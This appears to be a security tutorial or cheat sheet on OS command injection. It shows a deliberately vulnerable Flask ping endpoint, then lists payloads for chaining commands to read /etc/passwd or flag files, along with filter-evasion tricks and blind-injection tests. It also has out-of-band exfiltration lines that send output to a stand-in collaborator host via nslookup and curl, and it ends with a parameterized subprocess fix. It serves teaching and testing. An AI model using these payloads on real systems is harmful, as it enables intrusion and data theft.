OS Command Injection
Execute arbitrary system shell commands on the hosting server by injecting shell operators into unsanitized input.
// prerequisite reading
What is OS Command Injection?
OS Command Injection occurs when an application passes user-supplied input to a system shell (e.g., system(), exec(), popen(), os.system(), or child_process.exec()) without prior sanitization or parameterization.
Vulnerable Code Example (Python/Flask)
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/ping')
def ping():
host = request.args.get('host')
# Unsafe command string concatenation
cmd = "ping -c 1 " + host
output = os.popen(cmd).read()
return f"<pre>{output}</pre>"
Supplying host=8.8.8.8; id executes ping -c 1 8.8.8.8 followed immediately by id.
Command Separators & Operators
Use shell command operators to append or inline secondary commands:
| Separator | Description | Example Payload |
|---|---|---|
; |
Command chaining (Linux) | 127.0.0.1 ; cat /etc/passwd |
& |
Asynchronous execution | 127.0.0.1 & id |
&& |
Conditional execution (if 1st succeeds) | 127.0.0.1 && cat flag.txt |
| |
Pipe output to next command | 127.0.0.1 | grep root /etc/passwd |
|| |
Conditional execution (if 1st fails) | invalid || whoami |
`cmd` |
Inline subshell substitution | ping whoami.attacker.com |
$(cmd) |
Subshell substitution (POSIX) | echo $(cat /flag.txt) |
\n (%0a) |
Newline character | 127.0.0.1%0awhoami |
Filter Evasion Techniques
1. Bypassing Space Restrictions
If spaces are stripped or forbidden:
- Environment variables:
$IFS(Internal Field Separator in Bash)cat$IFS/etc/passwd cat$IFS$9/etc/passwd - Brace Expansion:
{cat,/etc/passwd} - Redirection:
cat</etc/passwd
2. Bypassing Blacklisted Words (cat, flag, etc)
- Single / Double Quotes:
c'a't /e"t"c/pas's'wd - Backslashes:
c\a\t /e\t\c/f\l\a\g - Wildcards:
/bin/c?t /f* - Base64 Encoding & Decoding:
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh
Blind OS Command Injection
When the command output is not returned in the HTTP response:
1. Time Delay Oracles
Inject commands that pause execution for a deterministic duration:
127.0.0.1; sleep 10
127.0.0.1 && ping -c 10 127.0.0.1
If the HTTP response takes ~10 seconds, injection is confirmed.
2. Out-Of-Band (OOB) Exfiltration
Force the target server to perform a DNS lookup or HTTP request to a controlled endpoint, appending exfiltrated output:
# DNS exfiltration
127.0.0.1; nslookup $(whoami).your-collaborator-id.net
# Curl exfiltration
127.0.0.1; curl https://your-collaborator-id.net/$(cat /flag.txt | base64)
Remediation & Secure Code
Never construct shell commands using string concatenation. Use parameterized execution APIs that bypass the shell parser:
# Safe Python subprocess invocation
import subprocess
# Arguments passed as an explicit array, avoiding shell command parsing
result = subprocess.run(["ping", "-c", "1", host], capture_output=True, text=True)